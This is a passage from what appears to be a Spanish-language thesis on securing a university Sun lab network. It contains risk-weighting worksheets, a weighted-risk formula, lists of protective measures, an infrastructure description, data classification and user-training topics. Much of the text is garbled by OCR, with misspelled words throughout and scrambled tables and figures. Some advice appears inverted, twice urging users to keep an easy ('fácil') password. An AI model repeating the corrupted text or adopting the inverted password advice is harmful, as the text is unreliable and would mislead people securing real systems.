La lista de los recursos a proteger es la siguiente:

El peso promedio (importancia promedio) de los recursos en la red que estamos evaluando es de: .69 El número de recursos que están sobre el peso promedio: 26 de 44

Esto nos puede decir que el peso de los recursos en la red es alto, existe más del 50% de recursos en la red que son importantes.

El promedio de riesgo en los recursos es de: 6 El número de recursos que están sobre el riesgo promedio: 24 de 44

El promedio de riesgo es alto y se acerca al estimado total, esto indica que tenemos un riesgo alto en la red, pues si unimos los valores de importancia contra los de riesgo, podemos ver que ambos en promedio nos dan un valor por arriba del 50%.

Resumiendo, podemos afirmar que más de la mitad de los recursos de la red son importantes y tienen un riesgo alto. Los resultados son claros, es necesario aplicar medidas de seguridad sobre aquellos recursos importantes y que tienen un riesgo alto.

Antes de aplicar los planteamientos 3 y 4 es importante identificar los recursos que provocan el riesgo alto y tratar de minimizar el riesgo.

Nuestro siguiente paso está enfocado a identificar aquellos riesgos que están sobre el promedio y aplicar medidas de protección en los mismos.

71

Page 71: Estrategias para incrementar la seguridad de una red

Hoja de trabajo para desarrollar un planteamiento de seguridad. Hardware· Hofa 1 de 4

Recursos de la red Tipo de usuarios Posibilidad de Medidas a implantar para

Número Nombre Importancia del Recurso indeseables una amenaza proteger los recursos de red

1 sunlab • 1 internos v externos 1 Deshabilitar entrada a todas las cuentas a excepción de la del administrador. Políticas de seauridad. Control de acceso. Instalación de lirewall.

2 ruteador • 0.2 internos v externos 9 Configurar para Que se permita el acceso sólo a los hosts permitidos en la red. Control de Acceso.Firewalls.

3 Hosts Clientes 0.3 externos al LCE 9 Utilizar herramientas de rnonitoreo, listas de control de acceso, implantar políticas de seguridad, aplicar control de acceso físico, tcp waroper

sw: 4 Cuenta personal • 0.2 internos v externos 1 Aseaurar aue siempre tenaa un password fácil, aue no sea una cuenta pública. del administrador

5 Terminales 0.5 externos al LCE 6 Aseaurar aue la confiauración de las rnáauinas lttvtab) no tenaan permitido el acceso a root en forma remota.

6 pc·s 0.6 externos 5 Desconectar la red de PC"s ( LCE PS DtC) del LCE SUN.

7 lmoresora 1 externos 1 Sólo se entr8Qélll impresiones baio credencial, Control de Acceso Físico

e Unidades de Disco o.e externos 3

9 Líneas de• 1 Internos v externos 2 Se deberá checar en lorma continua el enlace, Control de Acceso físico, listas de comunicación control de acceso, firewall, rnonitorear el número de terminales activas en el sita.

SW: 10 Proararnas fuente o.e Aienos al recurso 6 "Checksum" a los de confiauración, buscar bómbas looicas, firmartos.

11 Proaramas obieto 0.2 externos 7 eiecutar "checklist v checksum· en busca de caballos de trova.

12 Checklisl y • Internos v externos 2 Revisar permisos, firmar los oriainales, mantenerlos ocultos o fuera de línea. checksum 1

13 utilerías 0.7 externos 7 Delenninar las utilerías aue se consideran un riesao para la seauridad del sistema y prohibir su uso. Derechos v Resaonsabilidades de usuarios.

14 PrC>Qrarnas de 0.4 externos 5 Afirmar en las políticas aue éstos son sólo de uso interno y local. diagnóstico

15 Sistema operativo 1 externos e Buscar en los binarios del sistema y comandos comúnes caballos de trova. ejecutar checklist y checksum. Derechos y Responsabilidades del usuario.

Recurso • y tipo de usuarios indeseables, significa que aquellos (internos y externos), no podrán accesar el recurso a excpeción del administrador.

Page 72: Estrategias para incrementar la seguridad de una red

Hoja de trabajo para desarrollar un planteamiento de seguridad. Software: Hoja 2 de 4

Recursos de la red Tipo de usuarios Posibilidad de Medidas a implantar para Número Nombre Importancia del Recurso indeseabtes una amenaza proteger los recursos de red

16 /etc/host.equiv • 1 internos v externos 10 Eliminar el archivo o configurar con hosts que se hayan certificado como confiables evitar Por cualquier razón el caracter # en este archivo.

17 tftp 0.5 internos y externos 4 Deshabilitar éste servicio y si en verdad justifica su uso, se deberá configurar como lo sugiere el Cap IV parte 4.9, instalar tcp_ wraooer.

18 crontab" 0.2 interno v externo 8 Firmar el archivo, firmar los scripts prooramados, revisar permisos de ejecución, Buscar bómbas lóqicas.

19 re.bao! 0.2 internos y externos 10 Revisión periodica del archivo, ejecutar checksum, firmar el archivo, calcular firma comparar firmas, estandarizar el archivo en todas la clientes.

20 re.local 0.2 internos y externos 10 Revisión periodica del archivo, ejecutar checksum, firmar el archivo, calcular firma comparar firmas, estandarizar el archivo en todas la clientes.

21 /etc/passwd 1 internos y externos 10 Utilizar shadow password, instalar oassword +, checar passwords en forma peródica Checklists, firmar el archivo, comparación del archivo vs original, verificar permisos

22 .rhosts 0.7 externos 8 Borre todos los archivos con éste nombre que encuentre.

23 Is 1 externos 8 Firmar el original y certificar su autenticidad, ejecutar checklist, checksum, verificar permisos.

24 Directorio bin 1 externos 7 Verificar permisos, eiewtar checklists v chechsum.

25 tooin 1 externos 9 Control de acceso, firewalt, tcp_ wraoper, firmar el archivo, ejecutar checklist.

26 comando ps 0.3 externos 7 Control de acceso, firewalt, tcp_ wraooer, firmar el archivo.

27 ftp 1 externos 7 Control de acceso, firewalt, tcp_ wraooer, firmar el archivo.

28 rsh y rexec· 0.5 internos y externos 10 Instalar ssh, deshabilitar rsh, Control de acceso, firewalt, firmar el archivo, verificar permisos.

29 correo electrónico 1 Aienos a la cuenta 10 Revisar permisos en "usr/soooVmail", revisión de passwords, Control de Acceso Definir Derechos v obliqaciones en Confidencialidad e integridad.

30 oaauetería 1 externos 3 Se restringe el uso de paquetería fuera de las máquinas asiganadas al LCE.

31 respaldos· 1 internos v externos 10 Sólo el administrador tiene el derecho de realizar el respaldo de la información almacenada en el sistema que está a su carne, evitar programar éstos en crontabs,

tener siempre disponiblidad de equipo para realizar el respaldo.

Recurso • y tipo de usuarios indeseables, significa que aquellos (internos y externos), no podrán accesar el recurso a excpeción del administrador.

Page 73: Estrategias para incrementar la seguridad de una red

Hoja de trabajo para desarrollar un planteamiento de seguridad. Hoia 3 de 4

Recursos de la red Tipo de usuarios Posibilidad de Medidas a implanlar para N.:mero Nombre Importancia del Recurso indeseables una amenaza proteoer los recursos de red

32 Durante la eiecución 0.5 Aienos al proceso 5 Establecer los oermisos adecuados, Derechos de los usuarios.

33 Almacenados 1 Ajenos a la lnfo. 7 Revisar que se tenaan los permisos adecuados para la información, conlrol de acceso Firmar los documentos, oolíticas aue esoecifiauen derechos de confidencialidad,

Integridad y Disoonibilidad de la información.

34 En estantes • 0.8 internos y externos 2 Aseourar bajo llave esta documentación, en el luaar que se haya desionado como seauro.

35 Bases de datos 0.8 externos 3 El administrador de la base de datos debe aseaurar aue los permisos otorgados a los usuarios son los adecuados, encriptación.

36 en tránsito 1 Aienos a la 10 Enviar información cifrada, utilización de aloorílmos de encriptamiento, DES, ASA, transmisión. Instalar Kerberos, PGP, AFS.

Gente: 37 Usuarios alumnos 1 Ajenos a las cuentas 9 Pollticas de derechos v obliaaciones, revisión constante de oermisos, revisión aue no le oertenecen oeródica de oasswords, instalar password cracker, cultura computacional,

inculcar ética v honestidad. Evitar aue se Presten las cuentas.

38 Ooerador 1 Cualauier oersona aue 8 Definir los oermisos aue reoresenta la cuenta, derechos v obliaaciones de la cuenta no representa la revisión del password de ésta cuenta, cultura de seouridad, ética, honestidad.

autoridad de la cuenta Evitar POner la cuenta en luaares oúblicos.

39 Administrador 1 Cualauier oersona aue 1 Un administrador no auerrá realizar un átaaue en su contra, no representa la inculcar ética y honestidad. Definir sus derechos y obligaciones

auloridad de la cuenta

40 Usuarios Profesores 1 Cualauier oersona oue 9 Pollticas de derechos v obliaaciones, revisión constante de oermisos, revisión no reoresenta la oeródica de oasswords, instalar password cracker, cultura computacional,

autoridad de la cuenta inculcar ética v honestidad. Evitar aue se oresten las cuentas. Seoarar de las cuentas de alumnos.

41 Provectos 1 Internos y externos, 4 Políticas de derechos v oblioaciones, revisión constante de permisos, revisión Ajenos al proyecto paródica de oasswords, instalar oassword cracker, cultura computacional,

inculcar ética v honestidad. Evitar aue se presten las cuentas. Seoarar de las cuentas de alumnos.

Recurso• y tipo de usuarios Indeseables, significa que aquellos (internos y externos), no podrán accesar el recurso a excpeción del administrador.

Page 74: Estrategias para incrementar la seguridad de una red

Hoja de trabajo para desarrollar un planteamiento de seguridad. D '/i' -- -- Hoja 4de4

Recursos de la red Tipo de usuarios Posibilidad de Medidas a implantar para Número Nombre Importancia del Recurso indeseables una amenaza proteger los recursos de red

42 Scripts 0.3 Ajenos a éste 8 Proteaer al máximo los permisos de éste, firmar1o, escribir recurso políticas de Integridad al respecto, responsabilidades

y derechos a recursos ajenos, mantener ocultos este tioo de proaramas, Instalar control de acceso, no dejar estos proaramas

en directorios Públicos o temoorales.

43 Tips del· 1 Internos y externos 5 Mantener bajo llave y en el lugar c¡ue haya sido asianado como administrador seauro, si es un archivo, revisar permisos v control de Acceso

Accesorios: 44 cintas 1 Internos v externos 8 Mantener baio llave v en el luaar aue hava sido asianado como seauro.

Recurso • y tipo de usuarios indeseables, significa que aquellos (internos y externos), no podrán accesar el recurso a excpeción del administrador.

Page 75: Estrategias para incrementar la seguridad de una red

Columna: Número de recurso en la red:

Es un número de red de identificación interna del recurso a ser protegido.

Nombre de los recursos de la red: Descripción del recurso.

Importancia de recurso: Debe asignarse de acuerdo a una escala de 0.1 a 1, dónde 1 es el más importante y 0.1el menos importante.

Tipos de usuarios indeseables: Especificar con los siguientes calificativos: interno, externo, huesped, nombre del grupo, asistente, etc ...

Posibilidad de una amenaza: Debe estar dentro de una escala numérica de 1 a 1 O, donde 1 es bajo y 1 O es muy alto.

Medidas a implantar para proteger recursos de red: Puede tener valores como: permisos del Sisitema Operativo, para archivos.directorios; pistas de alerta para servicios de red, listas de acceso o firewalls para hosts y dispositivos de red; Mecanismo de seguridad asociado al recurso para su debida protección.

Page 76: Estrategias para incrementar la seguridad de una red

Hoja de trabajo para el análisis del riesgo de seguridad en la red. Hoja 1 de 2

Recursos de la red Riesgo para los Peso (importancia Riesgo

Número Nombre recursos de la red (Ri) del recurso (Wi) Evaluado (Ri"Wi)

1 sunlab * 10 1 10 2 ruteador * 8 0.9 7.2 3 Hosts Clientes 7 0.5 3.5 4 Cuenta personal * del administrador 2 0.1 0.2 5 Terminales 6 0.5 3 6 PC's 5 0.1 0.5 7 Impresora 1 1 1 8 Unidades de Disco 2 0.7 1.4 9 Líneas de * comunicación 5 1 5 10 Programas fuente 4 0.4 1.6 11 Programas objeto 6 0.3 1.8 12 Checklist y * checksum 7 0.8 5.6 13 utilerías 5 0.4 2 14 Programas de diagnóstico 4 0.7 2.8 15 Sistema operativo 9 1 9 16 /etc/host.equiv * 10 0.5 5 17 tftp 7 0.2 1.4 18 crontab* 7 0.8 5.6 19 rc.boot 8 1 8 20 re.local 8 1 8 21 /etc/passwd 10 1 10 22 .rhosts 9 0.5 4.5 23 Is 5 1 5 24 Directorio bin 7 1 7 25 login 7 1 7 26 comando ps 5 0.7 3.5

164 18.1 119.6

Page 77: Estrategias para incrementar la seguridad de una red

Hoja de trabajo para el análisis del riesgo de seguridad en la red. Hoja 2 de 2

Recursos de la red Riesgo para los Peso (importancia Riesgo 1 Número Nombre recursos de la red (Ri) del recurso (Wi) Evaluado (Ri"Wi)

27 ftp 4 0.8 3.2

28 rsh y rexec 8 0.2 1.6

29 correo electrónico 10 1 10

30 paquetería 10 1 10

31 respaldos 10 1 10

32 Datos Dur. Ejecución 4 0.5 2

33 Datos almacenados 4 0.7 2.8

34 Datos en Estantes 1 0.2 0.2

35 Bases de Datos 1 0.4 0.4

36 Datos en tránsito 7 0.8 5.6

37 Usuarios Alumnos 8 1 8

38 Operador 6 0.4 2.4

39 Administrador 1 1 1

40 Profesores 8 1 8 41 Provectos 3 0.8 2.4

42 Scriots 4 0.5 2

43 Tips del Administrador 2 0.2 0.4

44 cintas 9 1 9

100 12.5 79

Total Hoja 1 164 18.1 119.6

Totales: 264 30.6 198.6 Cálculo del Riesgo general de los recursos de la red:

WR = (R1"W1 + R2"W2 + ........ + Rn"Wn) / ( W1 + W2 + ......... + Wn)

o

L i=1

-1...Bi.:lYü Wi

HU 30.6

6.490196078

El riesgo total evaluado tiene un valor de 6.49, por lo que se puede ver que el impacto en la red es atto.

Recordemos que la escala está de 1 a 1 O.

Si un recurso (i) tiene un riesgo asociado cuyo valor es "R'". y un peso ponderado '"W'". basado en la importancia del recurso "R" para la red del Laboratorio. Podemos estimar el Riesgo Evaluado "WR", como el

producto del riesgo que tiene el recurso por el peso ponderado asignado, de modo que el Riesgo Evaluado en el recurso "i" será igual a Ri*Wi, donde Ri es el riesgo del recurso "i" y Wi es el peso ponderado para el recurso '"i'".

La fórmula para calcular el Riesgo Evaluado es la siguiente:

WRi=Ri*Wi

Ahora bien, si queremos obtener el cálculo del riesgo general de los recursos de la red, podemos decir que la suma total de los Riesgos Evaluados dividida entre la suma total de los pesos ponderados nos va a determinar el Riesgo General de los recursos de la red .

WR=(Rl*WI +R2*W2 + ......... +Rn*Wn)/( WI +W2+ .... ..... + Wn)

El riesgo general de los recursos de la red, es un indicativo que nos va a permitir conocer cual es el impacto de éstos en la red.

Page 78: Estrategias para incrementar la seguridad de una red

Ref .[35) Columna:

Número de recurso en la red: Es un número de red de identificación interna del recurso a ser protegido.

Nombre de los recursos de la red: Descripción del recurso.

Riesgo para los recursos de red (Ri): Deberá estar en una escala numérica del 1 al 1 O, donde 1 es muy bajo y 1 O muy alto.

Peso (importancia) del recurso (Wi): Deberá estar en una escala numérica del 1 al 1 O dónde 1 es poco importante y 1 O es muy importante.

Riesgo evaluado ( Ri*Wi): Es el producto de los valores riesgo y peso, el resultado nos va a permitir tener una visión numérica del riesgo que se ha evaluado en el recurso.

Fórmula para calcular el riesgo general de los recursos de la red:

WR = (R1*W1 + R2*W2 + ......... + Rn*Wn) / ( W1 + W2 + ......... + Wn)

n

I: i=1

( Ri*Wi) Wi

Page 79: Estrategias para incrementar la seguridad de una red

Capítulo V

Los recursos que están sobre el promedio de riesgo son:

Recursos de la red Riesgo Recursos de la red Riesgo

Número Nombre Número Nombre

1 sunlab * 10 22 .rhosts 9 2 ruteador • 8 24 Directorio bin 7 3 Hosts Clientes 7 25 login 7 5 Terminales 6 28 rsh y rexec 8

11 Programas objeto 6 29 correo electrónico 10 12 Checklist y * 7 30 paquetería 10

checksum 15 Sistema operativo 9 31 respaldos 10 16 /etc/host.equiv * 10 36 Datos en tránsito 7 17 tftp 7 37 Usuarios Alumnos 8 18 crontab* 7 38 Operador 6 19 rc.boot 8 40 Profesores 8 20 re.local 8 44 cintas 9 21 /etc/passwd 10

L b os recursos que estan so re e prome dº d 10 e peso o 1m Jortanc1a: Recursos de la red Peso o Recursos de la red Peso o

Número Nombre importancia Número Nombre importancia

1 sunlab * 1 25 login 1 2 ruteador * 0.9 26 comando ps 0.7 8 Unidades de Disco 0.7 27 ftp 0.8 9 Líneas de • comunicación 1 29 correo electrónico 1 12 Checklist y • checksum 0.8 30 paquetería 1 14 Programas de diagnóstico 0.7 31 respaldos 1 15 Sistema operativo 1 33 Datos almacenados 0.7 18 crontab* 0.8 36 Datos en tránsito 0.8 19 rc.boot 1 37 Usuarios Alumnos 1 20 re.local 1 39 Administrador 1 21 /etc/passwd 1 40 Profesores 1 23 Is 1 41 Proyectos 0.8 24 Directorio bin 1 44 cintas 1

Como podemos ver, existe la posibilidad de que el recurso se encuentre en ambas tablas, es decir, que sea un recurso importante y con riesgo alto.

Es por eso que debemos identificar éstos recursos. La figura 5.1 muestra los recursos que son importantes y con riesgo alto en el sistema:

[ Figura 5.1] - Riesgos importantes y con alto riesgo en el Laboratorio de Sun.

72

Page 80: Estrategias para incrementar la seguridad de una red

Capítulo V

De acuerdo a la figura anterior debemos entonces enfocarnos a proteger los recursos por orden de importancia:

1.- Recursos importantes y con alto riesgo. 2.- Recursos importantes. 3.- Recursos con riesgos. 4.- Recursos por abajo del promedio.

Tomando en cuenta el planteamiento 3, que propone establecer la importancia de la red en la organización, debemos establecer que la importancia de la red depende de los servicios que provee, en éste caso se considera una red importante para los Laboratorios de Cómputo Especializado, pues ésta brinda servicio a todos los alumnos de dos departamentos del la División de Ingeniería y Ciencias y que comparada con la red del campus, podemos decir que la red del Laboratorio Sun, es pequeña y que no es factor para que la red general del CEM quede detenida en caso de que el Laboratorio de Sun no exista; sin embargo es un punto de entrada para cualquier usuario conectado a Internet.

Lista de recursos importantes y con alto riesgo:

Número Nombre Número Nombre

1 sunlab * 24 Directorio bin 2 ruteador * 25 login 12 Checklist y* 29 correo electrónico

checksum 15 Sistema operativo 30 paquetería 18 crontab* 31 respaldos 19 rc.boot 36 Datos en tránsito 20 re.local 37 usuarios alumnos 21 /etc/passwd 40 usuarios profesores 44 cintas

Los recursos anteriores nos permiten los mecanismos y servicios a implantar para proteger los recursos de la red:

1.- Negar la entrada a todas las cuentas internas y externas con excepción las cuentas utilizadas por el administrador al servidor sunlab.

2.- Implementar control de acceso: Firewalls y Tcp wrapper. 3.- Permitir sólo el acceso a los hosts de los Laboratorios de Cómputo Especializado. 4.- Realizar una revisión periódica de permisos en programas de uso exclusivo de root. 5.- Firmar los programas que se encuentran en el directorio bin y diseñar una lista firmada de los mismo. 6.- Realizar una revisión periódica de pennisos en las cuentas de usuarios. 7 .- Ejecutar checksum. 8.- Firmar los archivos rc.boot, re.local y crontab. 9.- Instalar shadow password. 10.- Instalar password +. 11.- Instalar y ejecutar en forma periódica herramientas de seguridad. 12.- Instalar rutinas de expiración de password. 13.- Borrar todos los archivos .rhosts 14.- Eliminar el archivo /etchost.equiv, o asegurar que su configuración es la correcta. 15.- Definir derechos y obligaciones en confidencialidad e integridad. 16.- Revisar pennisos en "/usr/spool/mail" 17.- Restringir el uso de paquetería a usuarios externos al Laboratorio.

73

Page 81: Estrategias para incrementar la seguridad de una red

Capítulo V

18.- Diseñar y aplicar un buen sistema de respaldos, asegurando un respaldo por día, y si es posible dos por día.

19 .- Se debe asegurar que siempre habrá un respaldo de día anterior. 20.- Sólo el administrador tiene la autorización de accesar las cintas de respaldo. 21.- Implementar algoritmos para enviar la información cifrada por la red. 22.- Establecer en las políticas que los usuarios no tienen derecho a prestar sus cuentas. 23.- Separar las cuentas de los profesores de las de alumnos en otros servidores y asegurar que las cuentas de

alumnos no tengan acceso a los servidores de profesores. 24.- Establecer en la política que los profesores no deben prestar sus cuentas. 25.- Asegurar bajo llave las cintas de respaldos.

El siguiente paso es determinar las medidas que se deben tomar para proteger los recursos importantes, la lista de éstos es la siguiente:

Número Nombre

8 Unidades de Disco 9 Líneas de* comunicación 14 Programas de diagnóstico 23 Is 26 comando ps

Para proteger éstos recursos de debe:

1.- Revisar el enlace en forma periódica. 2.- Implementar control de acceso.

Número Nombre

27 ftp 33 Datos almacenados 39 Administrador 41 Proyectos

3.- Monitoreo del número de terminales activas en la red. 4.- Establecer en las políticas que el administrador y el operador son los únicos que tienen autorización para

ejecutar programas de diagnóstico, se pueden dar excepciones a proyectos. 5.- Firmar comandos del sistema operativo. 6.- Ejecutar un checklist y firmar los resultados. 7.- Firmar documentos valiosos e importantes. 8.- Establecer políticas de Confidencialidad de la información. 9.- Definir derechos y obligaciones de todos los usuarios, incluyendo al administrador de la red. LO .. - Cultura computacional.

Lista de recursos con alto riesgo: Número Nombre

3 Hosts Clientes 5 Terminales

11 Programas objeto 16 /etc/host.equiv * 17 tftp 22 .rhosts 28 rsh y rexec

Para proteger éstos recursos de debe:

l.- Utilizar herramientas de monitoreo. 2.- Listas de control de acceso. 3.- Evitar que la terminales reciban peticiones de root en forma remota.

74

Page 82: Estrategias para incrementar la seguridad de una red

Capítulo V

4.- Checklist para asegurar que no hay caballos de Troya instalados en sistemas de archivos importantes. 5.- Eliminar el archivo /etc/host.equiv, o asegurarse que está bien configurado. 6.- Deshabilitar el servicio de tftp, si el uso de éste se justifica, entonces configurar como lo sugiere el

capítulo IV, parte 4.8. 7.- Borrar todos los archivos .rhosts. 8.- Instalar ssh. 9.- Control de acceso 10.- Restringir el uso de rsh y rexec como comandos para uso del administrador. 11.- Definir bien los permisos que representa la cuenta de operador. 12.- Definir los derechos y obligaciones del operador. 13.- Evitar poner la cuenta del operador en directorios públicos.

A partir de estas listas se debe generar un conjunto de políticas de seguridad, con el fin de que se tenga un conjunto de reglas establecidas y precisas que determinen la autorización a los recursos como una base para tomar decisiones de control.

Note que algunas medidas que se deben tomar se repiten varias veces, por lo que se recomiénda empezar a proteger utilizando o implementando primero éstas.

Límites de la red a proteger:

Los límites a proteger se muestran en la [Figura 5.2]

- - -RACK

sunllb.ctm.ittsmmx U..---l!!!:!:!~:!!!:!:!E!.!!!!!ll,¡¡-;;S:¡;P7.AR;;C~ 141141 di 111

p

s

1

sm-a 1570 NP

1 SP.ARC sunsm-::1.ctm.ittsm.:m. sanr l48l41.61.l::13

- - -

cliaus S'UN

- -

- - -

- - -

- -

slabcddi.cm..itesm.mx 148.l413Hl

1

1

1

- -[Figura 5.2] - Área a proteger en la red de SUN de los Laboratorios de Cómputo Especializado del ITESM

Campus Estado de México.

En la figura 5.2 podemos apreciar cómo la red de PS's no está contemplada dentro de las fronteras de la red a proteger, esto indica también que deberá ser aplicado un control de acceso por sunlab2.cem.itesm.mx, o de otra forma desconectar a la red de PS's del bus del laboratorio de Sun.

75

Page 83: Estrategias para incrementar la seguridad de una red

Capítulo V

Infraestructura de comunicaciones ya instalada, ubicación, capacidades y tipos.

El Laboratorio de Cómputo Especializado de los departamentos de Ciencias Computacionales y Sistemas de lnfonnación equipado con computadoras SUN, está destinado a proporcionar software especializado para los alumnos de las siguientes carreras del ITESM-CEM: LSCA, ISC e ISE, se encuentra ubicado en el tercer piso de Aulas IV.

A la fecha de éste análisis el laboratorio estaba en proceso de actualización de equipo, el equipo viejo con el que contaba el Laboratorio estaba compuesto por:

* 6 SparcClassic e/monitor en colores y drive de floppy disk * 9 SparclPC e/monitor en colores y drive de floppy disk * 15 SparcELC e/monitor en blanco y negro. * Servidor:

Tipo: Sparc Server 670 Modelo: s670- l 20- l 28-P53 Sistema Operativo: SUNOS ver 4.1.2 l SCSI U ni dad Cinta 8 mm IPI de 900 MB Masis Storage Modelo 1240 y 2 SCSI de 600MB. Discos externos:

SCSI Modelo 411 de 2.1 GB SCSI Modelo 411 de 2.1 GB CSI Modelo 811 de 2.1 GB

Todos éstos conectados entre sí con una topología bus, el tipo de red es Ethernet. El nuevo equipo está compuesto por 5 Sun Ultra 1 y 26 SPARCstation 4.

Sun Ultra l SPARCstation 4. Velocidad 143 Mhz 110 Mhz Monitor Color 17" Color 17" Memoria RAM32MB RAM32MB Disco duro l GB l GB

Otros Unidad de CDROM, Unidad de floppy. Servidor:

Tipo: Sparc Server 670. Modelo: s670- l 20- l 28-P53. l SCSI Unidad Cinta 8 mm. Discos externos:

SCSI Modelo 411 de 2.1 GB. SCSI Modelo 411 de 2.1 GB. CSI Modelo 811 de 2.1 GB. IPI de 900 MB Masis Storage Modelo 1240 y 2 SCSI de 600MB.

Todos éstos conectados entre sí con una topología bus, el tipo de red es Ethernet.

Personal:

El personal que compone el equipo de trabajo de este laboratorio esta fonnado por:

Un Administrador de la Red, 3 Operadores y profesores especialistas de los Departamentos de Ciencias Computacionales y Sistemas de Infonnación.

76

Page 84: Estrategias para incrementar la seguridad de una red

Capítulo V

Grado de conocimiento de los usuarios.

Este punto es de vital importancia para que la seguridad implantada dé mejores resultados, la cultura computacional y la buena información que se haga llegar a los usuarios es una de las medidas que deberán ser bien definidas.

El grado de conocimiento de los usuarios es variado y heterogéneo, los hay desde quienes no saben absolutamente nada del uso y operación del LCE Sun, hasta aquellos que son capaces de lograr accesos indebidos al sistema.

Planes de capacitación.

Orientados a tres tipos de usuarios: Novatos, Medio y Avanzado. Se recomienda que se revisen los temas que se sugieren en la parte Capacitación en seguridad computacional de esta metodología, para incrementar la cultura computacional en los usuarios.

Restricciones legales:

Cómo influyen las leyes al proceso de conexión. ¿Está permitido enviar información cifrada por la red?. Afortunadamente en México aún no se ha legislado de manera seria el envío de información de este tipo, por lo que si es posible utilizar mensajes que viajen cifrados por la red.

Contratos previos.

Esta organización no tiene contratos previos, es dependiente del Departamento de los LCE's que se consideran autónomos para ejercer el libre intercambio de información a nivel local como internacional.

Conexiones ya establecidas.

Actualmente el Laboratorio se encuentra conectado a un equipo CRESCENDO, mismo que está conectado al anillo de fibra óptica del campus, de modo que tiene salida directa a Monterrey que lo enlaza a Internet.

Planes de Conectividad a empresas comerciales. (Renta del enlace).

No se tiene planeado tener un acuerdo de éste tipo ya que se cuenta con enlaces propios.

Determinar los bloques de información con clasificación confidencial.

La siguiente lista muestra la información que maneja dentro del Laboratorio de Cómputo Especializado SUN y la clasificación que tiene:

Paquetes de Sotfware.- Éste tipo de información es no clasificada para el uso normal en horas de operación por los alumnos, pero es información confidencial todo lo referente a instalación y archivos propios de la herramienta que aseguran su buen funcionamiento y aplicación dentro del Laboratorio.

Archivos y cuentas de usuarios.- Tienen clasificación confidencial y sólo la persona propietaria de la cuenta o del archivo, tiene el derecho y autorización para accesar la información contenida en éstos.

Archivos del sistema.- Tiene dos clasificaciones dependiendo de la persona que lo use, si el usuario representa la persona del administrador de la red, tiene clasificación secreta; si el usuario representa la persona de un usuario normal, la información que puede y tiene derecho a utilizar está disponible y es

77

Page 85: Estrategias para incrementar la seguridad de una red

Capítulo V

infonnación no clasificada; y la que no tiene derecho a utilizar no está disponible y tiene clasificación confidencial.

Entiéndase por usuario nonnal aquella persona que tiene derechos, participación y responsabilidades en el sistema, mismas que han sido otorgados por el administrador de la red de acuerdo a las necesidades de dicha persona.

Passwords.- Todos los passwords utilizados en el sistema tienen clasificación de infonnación Super Secreta, y sólo los propietarios de éstos tienen la autorización de usarlos, cambiarlos y modificarlos.

Proyectos especiales.- La infonnación almacenada en cuentas de proyectos especiales tiene clasificación confidencial y sólo el líder del proyecto tiene la autorización de definir las personas que tienen acceso a ésta infonnación.

Páginas de WWW.- La infonnación referente a la configuración de la página de www tiene clasificación confidencial y la infonnación que se presenta en fonna pública es infonnación de clasificación no confidencial pero las imágenes y logotipos son marca registrada.

Sistemas de apartados.- Éste sistema es propiedad de los Laboratorios de Cómputo Especializado y la infonnación que almacena en la base de datos es infonnación confidencial y sólo tienen acceso las personas que el director haya asignado.

Proyectos de Investigación.- Es infonnación confidencial y sólo el líder del proyecto tiene la autorización de definir las personas que tienen acceso a ésta infonnación.

Correo electrónico.- La infonnación referente a la configuración de correo electrónico es de carácter confidencial y sólo el administrador tiene derecho a accesar dicha infonnación. La infonnación personal de correo es infonnación confidencial y sólo el usuario propietario de la cuenta tiene el derecho de accesar los mensajes recibidos en ésta.

Utilerías para alumnos.- El uso no está restringido y es infonnación no clasificada.

Software de Seguridad.- Es infonnación de clasificación confidencial y sólo el administrador de la red tiene la autorización de realizar lectura y modificaciones a los archivos que el software representa.

Aplicaciones.

Intranet. Control de Impresiones. Cuenta de passwords.

78

Page 86: Estrategias para incrementar la seguridad de una red

Capítulo V

5.3.2 Determinar los diferentes niveles de acceso a la red privada.

Para determinar los diferentes niveles de acceso a la red privada es necesario tener implantados los siguientes servicios y mecanismos de seguridad, ya que éstos son los elementos que nos brindan la seguridad que buscamos en el site. Dichos servicios y mecanismos son analizados con más detalle en capítulos posteriores debido a la extensión y complejidad que ofrecen.

Políticas de seguridad. Firewalls. Listas de Acceso. ( Determinación de hosts confiables). Algoritmos para enviar información cifrada por la red. Aislamiento de Internet a servidores con información crítica. Herramientas de monitoreo. Herramientas de prevención.

Planes de respaldos.

Se hacen respaldos diarios, todo el sistema de respaldos caen sobre un robot, que es controlado por otro servidor ("rselec.cern.itesm.rnx"). Hago notar que aqui se encuentra un gran peligro ya que si algún intruso logra entrar al servidor "rselec", entonces el riesgo de perder los respaldos es grande.

Administradores de seguridad.

Se plantea la opción que el administrador sea capaz de manejar la seguridad auxiliado por las herramientas que se proporcionan a continuación y que serán descritas a detalle en un capítulo posterior.

Herramientas de seguridad a utilizar para monitoreo periódico. El capítulo 6 de éste trabajo describe en forma detallada cada uno de éstos mecanismos y herramientas listados a continuación.

HASSUI [ Ref 52]: COPS SATAN Revisión continua del sistema con Tripwire.

Herramientas para prevención de ataques: Password Plus. PGP (Pretty Good Privacy). Revisión continua del sistema "Check list" Firewall

Capacitación en seguridad computacional.

Temas que mejorarán la cultura y seguridad computacional:

a) Mostrar en forma gráfica lo que es la Internet y su alcance. b) Explicar la diferencia entre un ataque pasivo y un ataque activo. c) Explicar la diferencia entre un hacker y un cracker. d) Mostrar la importancia de ser un buen hacker. e) Mencionar el costo que causa tener equipo como el del Laboratorio de Sun sin usar. f) Inculcar desde el inicio la responsabilidad de ser dueños de una cuenta en Internet.

79

Page 87: Estrategias para incrementar la seguridad de una red

Capítulo V

g) Informar y hacer comprender los derechos y obligaciones como usuarios del ITESM CEM. h) Explicar que la red es un medio de investigación con carácter positivo, educativo y de investigación y no como una medio para obtener juegos o herramientas que puedan poner en riesgo la información de la organización. i) Mostrar las implicaciones y castigos que se obtienen cuando un usuario toma la identidad de otro. j) Mostrar las implicaciones y castigos que se obtienen por hacer uso de la información no autorizada. k) Hacer entender que la confianza es respeto hacia los demás como a sí mismo. 1) Enseñar cuál es el procedimiento para cambiar el password dentro de la organización. m) Ejemplificar de manera gráfica la importancia de mantener un password fácil y los riesgos que ésto implica. n) Explicar la importancia de tener un password dinámico. ñ) ¿Como tener un buen password? o) Explicar que es .rhosts y chmod. p) Hacer comprender la importancia de mantener segura su cuenta evitando

p. l) archivos .rhosts p.2) dejar la cuenta con permisos para todo mundo.

q) Resaltar la importancia que tiene el buen uso y manejo de nuestra cuenta. r) Explicar qué significa tener un etc/host.equiv. s) Explicar porqué se han tomado medidas de control de acceso en la red.

Planes para asignación y distribución de "passwords".

Los passwords serán distribuidos a los alumnos por medio de los profesores en clase de seguridad o por operadores del Laboratorio, una vez que se hayan probado; en forma gratuita y confidencial, dentro de un sobre sellado, recordando al alumno:

